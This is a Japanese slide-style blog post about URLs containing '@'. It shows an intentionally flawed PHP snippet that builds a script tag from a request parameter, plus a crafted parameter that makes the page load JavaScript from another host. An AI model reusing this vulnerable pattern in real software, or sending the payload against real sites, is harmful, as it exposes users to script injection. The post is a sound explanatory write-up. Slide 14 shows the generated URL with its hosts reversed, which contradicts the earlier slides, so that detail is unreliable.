@が付いたURLって面白いですね

1. LTっぽく
ブログを書いてみるテスト
山本洋介山
@yousukezan

2. 自己紹介
• カリスマノーワーカー
• たまに原稿とかも書いています
• 普段の仕事はブラウザ間のドラッグ＆ド
ロップ
• だいたいは寝てます

3. 普段の仕事のドラッグアンドド
ロップ
• 場所をミスるとエラー

4. 慌てて戻ると入力してたページが
消える
• 入力してたページと違う！！

5. Firefoxのバグ！？
• こいつは困った
• 入力してたページが消えるのは困る
• ミスすんなって話は聞かない
• どんなときに起きるのか調査しないと！

6. いろいろ試す
• bogusならhttp://www.bogus.jp/を開く
• bogus jp（半角空き）だとエラー！！！！
• http://bogus.jp/とかちゃんとしたURLをド
ラッグアンドドロップすればそこが開く
• http：//bogus．jp/だとhttp://http.com/を開
く

7. ここまでは前振り
マジで！？

8. たまたま@の入ったURLを試す
• http://hoge@bogus.jp/
みたいなURL
• @の付いたURLはRFC的には全くもって正しい
• @の前は認証に使う文字列なのでbogus.jpへ
アクセス
• FirefoxだとこのURLへのアクセスはフィッシ
ングの疑いがあると警告がでる
• Chrome的にはこのURLは素通し
• IEは読まない

9. ややこしいURL
• http://google.jp@bogus.jp/
みたいにするとややこしい
• とはいえURL的にはhttp://bogus.jp/に行く
のが常識でしょ
• それはともかく前の方のドメインに向か
う前提のプログラムとかあるかもね

10. 前の方のドメインに向かう前提の
プログラムを考えてみた
• <?php
$base="http://bogus.jp";
echo '<script
src="'.htmlspecialchars($base.$_GET["file"]).'"
></script>';
?>

11. 間抜けなプログラム
• http://bogus.jp/scriptsrcxss.php?file=/base.js
みたいに外部JSを読み込む間抜けなプログラ
ム
• htmlspecialchars でXSS対策も万全なはず
（いい加減）
• 実際には存在しない…はず

12. スクリプト読み込めるんじゃ
ね？
• http://bogus.jp/scriptsrcxss.php?file=@packet
monster.com/x
• みたいなURLでhttp://packetmonster.com/x
が読み込まれるんじゃね？

13. 警告もなくスクリプトを読み込
む

14. なぜ？
• 生成されるURLが
<script
src="http://packetmonster.com@bogus.jp/x"></scri
pt>
となるんだからhttp://bogus.jp/xが読まれてあた
りまえ。
何か問題でも？
• 残念ながら/が入ると読まれないので注意
• http://packetmonster.com/php/@bogus.jp/x
みたいなのはダメ

15. MozillaとGoogleに聞いてみた
• こんなURLで警告なく読み込めるのってブ
ラウザが悪くね？
• 返信：プログラムが悪いんじゃクソボ
ケ！（意訳）
• これもまあ想定通り（URL的には正しいも
んね）

16. 結論
• こんな間抜けなコード書く人はいないと
思いますが、こんなことも起きるんです
ね
• 実際にこんなプログラムがあると面白い
ので誰か教えてください
• phperにとっては常識的なのかもしれませ
ん(；´Д｀)

17. 終わり
• LTっぽくブログを書いてみました
• 最後までお読みいただきありがとうござ
いました